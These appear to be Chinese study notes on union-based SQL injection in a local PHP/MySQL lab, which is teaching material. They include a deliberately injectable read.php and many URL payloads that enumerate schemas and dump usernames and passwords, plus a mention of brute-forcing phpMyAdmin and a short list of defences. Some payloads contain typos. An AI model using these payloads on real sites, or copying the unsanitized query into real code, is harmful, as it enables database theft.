一、查询注入的数据类型
//list.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatiable" content="IE=edge">
<meta name="viewport" content="width=device-width,initial-sacle=1.0">
<title>文章列表</title>
<style>
table{
width : 800px;
margin : auto;
border : solid 1px gray;
border-spacing: 0px;
}
td{
border : solid 1px gray;
height : 40px;
}
</style>
<script>
function doDelete(articleid){
if(!window.confirm("你确定要删除该文章吗?")){
return false;
}
//window.alert(articleid);
$.post('delete.php','articleid='+articleid,function(data){
if(data == 'delete-ok'){
window.alert('删除成功');
//location.href = "list.php";
location.reload(); //刷新当前页面
}
else{
window.alert('删除失败' + data);
}
});
}
</script>
</head>
<body>
<table>
<tr>
<td>编号</td>
<td>作者</td>
<td>标题</td>
<td>次数</td>
<td>时间</td>
<td>操作</td>
</tr>
<?php
include "commond.php";
if(!isset($_SESSION['islogin']) || $_SESSION['islogin'] != 'true'){
die("请先登录.<a href='login.html'>点此登录</a>");
}
$conn = creat_connection();
$sql = "select articleid,author,headline,viewcount,creattime from learn3";
$result = mysqli_query($conn,$sql);
//将数据库查询的结果集中的数据取出,保存到一个数组中
$rows = mysqli_fetch_all($result);
//遍历结果集数据并在表格中展示
foreach($rows as $row){
echo '<tr>';
echo '<td>' . $row[0] . '</td>';
echo '<td>' . $row[1] . '</td>';
echo '<td><a href="read.php?id=' . $row[0] . '">' . $row[2] . '</a></td>';
echo '<td>' . $row[3] . '</td>';
echo '<td>' . $row[4] . '</td>';
//echo '<td><button onclick="doDelete('.$row[0].')">删除</button></td>';
echo '<td><button onclick="doDelete('.$row[0].')">删除</button><button>编辑</button></td>';
echo '</tr>';
}
mysqli_close($conn);
?>
</table>
</body>
</html>
//read.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatiable" content="IE=edge">
<meta name="viewport" content="width=device-width,initial-sacle=1.0">
<title>Document</title>
<style>
div{
width:800px;
margin:auto;
height:60px;
}
</style>
</head>
<body>
<?php
include "commond.php";
if(!isset($_SESSION['islogin']) || $_SESSION['islogin'] != 'true'){
die("请先登录.<a href='login.html'>点此登录</a>");
}
$conn = creat_connection();
$id = $_GET['id'];
$sql = "select * from learn3 where articleid=$id";
$result = mysqli_query($conn,$sql);
$article = mysqli_fetch_assoc($result); //读取结果集中的第一行数据,并用关联数组表示
?>
<div><?=$article['headline']?></div>
<div><hr></div>
<div><?=$article['content']?></div>
</body>
</html>
注入点根据可控参数的数据类型不同,可分为3类,分别是:
1、数字型
select * from tables where id = 1;
2、字符型
select * from tables where username = 'woniu';
3、搜索型
select * from tables where id like '%woniu%';
4、注释方式
数据类型不同,在注入的payload中会有大小不同,主要就是考察队字符语法规则的理解和注释的运用
#(%23),--(空格--+),/* */
二、注入步骤
1、通过and 1=1,and 1=2的输入,来判断是否存在注入点。如果结果不一致,说明我们输入的语句被数据库执行了
2、通过观察或报错信息来判定输入点的数据类型,数字型,字符型,搜索型
3、使用order by来确定主查询数目,order by本质上是一个排序的语法,但是order by有个条件,就是排序必须建立在正确的主查询条数上。所以在注入中用order by并不是为了排序,而是为了确认主查询的条数,确保union select的查询数与主查询一致。order by只会超出主查询列数后才会报错,小于或等于主查询列数不会报错
http://localhost/security/read.php?id=1 order by 6
http://localhost/security/read.php?id=-1 union select 1,2,3,4,5,6
4、使用union select查询,将主查询改为负数或者不存在
union联合查询的前提:列数相等
select * from tables where id = -1 union select 1,2,3,4,5,6...
如果不知道列数的情况下,可以通过猜测的方式来使用 select * from 表名,通常
表名起的是有意义的,所以猜测正确的概率是有的。如果表名猜测错误,是会出现错误信息
或者查询不出结果。那么只要能查询出结果,则说明表名是正确的,且*的列数也是正确的
在能够回显的基础上,则可以做任意MySQL支持的查询,包括各种SQL语句和内置变量或函数的应用
5、在显示的数字位置上,替换对应的查询语句,database(),version(),user()
http://localhost/security/read.php?id=-1 union select 1,2,3,4,5,6 from learn3
将articleid改为-1的话,3和4就代表了headline和content
#还可以直接查询数据表的内容,进而实现拖库(脱裤)以下查询的前提是需要知道表名和列名
http://localhost/security/read.php?id=-1 union select 1,2,3,(select password from learn2 limit 0,1),5,6
limit 0,1的意思是从第0个开始往后取一个
通过concat()进行字符串拼接,可以一次性直接获取一行数据,而不用分列获取
http://localhost/security/read.php?id=-1 union select 1,2,3,(select concat(userid,'==',username,'==',password) from learn2 limit 1,1),5,6
http://localhost/security/read.php?id=-1 union select 1,2,user(),database(),5,6 from learn3
6、使用information_schema进行所有内容查询,得知库名后首先查询表:
select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = "库名"
7、根据库名和表名查出所有的列名
select group_concat(column_name) from information_schema.columns where table_schema = "库名" and table_name = "表名"
http://localhost/security/read.php?id=-1%20union%20select%201,2,3,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27learn%27%20limit%201,1),5,6
http://localhost/security/read.php?id=-1%20union%20select%201,2,3,(select%20group_concat(columns_name)%20from%20information_schema.columns%20where%20table_schema=%27learn%27%20limit%201,1),5,6
8、知道表名和列名,可以直接查出表的内容
select group_comcat(列名) from "表名";
9、使用concat连接列值,可以一次性取出很多列
select concat(username,"==",password,"==",role) as userinfo from user
10、如果查出多列,只能显示一列,则可以使用limit
select * from user limit 0,1 或 limit 8,1 等
或
select 1,2,table_name,4,5,6 from information_schema,tables where table_schema='learn' limit 1,1
三、进阶用法
1、使用concat_ws指定分隔符,比concat更加方便
select concat_ws('==',username,password,role) as userinfo from user
2、使用group_concat和concat_ws连用
select * from article where articleid=-1 union select 1,2,
(select group_concat(table_name) from information_schema.tables where table_schema='learn'),
(select group_concat(concat_ws('==',username,password,role)) from user),5,6
/security/read.php?id=-1 union select 1,2,3(select group_concat(concat_ws('==',User,Password,Host)) from mysql.user),5,6
/security/read.php?id=-1 union select 1,2,3,(select group_concat(concat_ws('==',articleid,headline,viewcount)) from learn3),5,6
一次性完整取得数据库中的数据,再利用Python进行字符串切分,即可还原为二维表。
#如果数据量庞大,则可以分批次进行
/security/read.php?id=-1 union select 1,2,3,(select group_concat(concat_ws('==',articleid,headline,viewcount)) from learn3 where articleid between 5 and 10),5,6
3、使用十六进制代替单引号
在MySQL中将字符串转换为16进制:select hex('learn'),将十六进制转回字符串:unhex('6C6561726E')
where table_schema=0x6C6561726E and table_name=0x75736572 limit 0,1
/security/read.php?id=-1 union select 1,2,3,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = '0x6C6561726E'),5,6
4、浏览所有数据库
/security/read/php?id=-1 union select 1,2,3(select group_concat(distinct(table_schema)) from
information_schema.tables),5,6
information_schema,learn.mysql,performance_schema,phpadmin,xindai,zabbix 发现存在phpadmin数据库
尝试访问:/phpadmin,如果使用的认证方式有:config,则直接进入后台,如果使用认证方式为:http,则可以爆破,所以最好的方式是不要开启PHPMyAdmin,或者
在需要的时候开启远程访问
5、针对非数字型的查询漏洞
/security/read.php?id=-2' union select 1,2,3,(select group_concat(username) from user),5,6 %23'
/security/read.php?id=-2' union select 1,2,3,(select group_concat(username) from user),5,6 --+'
select * from learn3 where content like '%页面%';
select * from learn3 where content like '%页面%'-- '%';
select * from learn3 where content like '%页面%'#'%';
上述查询主要针对MySQL数据库,如果针对Oracle数据库,需要学习Oracle的语法,如果是SQLServer等其他数据库,也一样。
上述注入均是GET请求,针对POST请求是完全一样的用法,只是将Payload移到Post请求的正文当中即可。
首先访问localhost/security/read.php?id=1,出现如果所示的响应:
但凡出现上述URL地址的格式,大概率会有SQL注入漏洞,修改?id的值
然后尝试?id=1 and 1=1 和?id=1 and 1=2
id = 1 and 1=2 无法查询到内容,?id = 1 and 1=1 可以查询到内容
说明在这个地方有注入
四、Union查询注入不适用的地方
1、注入语句无法截断,且不清楚完整的SQL查询语句
2、页面不能返回查询信息的时候
3、Web页面中有两个SQL查询语句,查询语句的列数不同
五、防护方法
1、添加addslashes
2、将id类数字型参数转换为整数
3、判断参数的长度,通常一个ID不会太长
4、对输入进行过滤,如information_schema,union,order by,逗号等等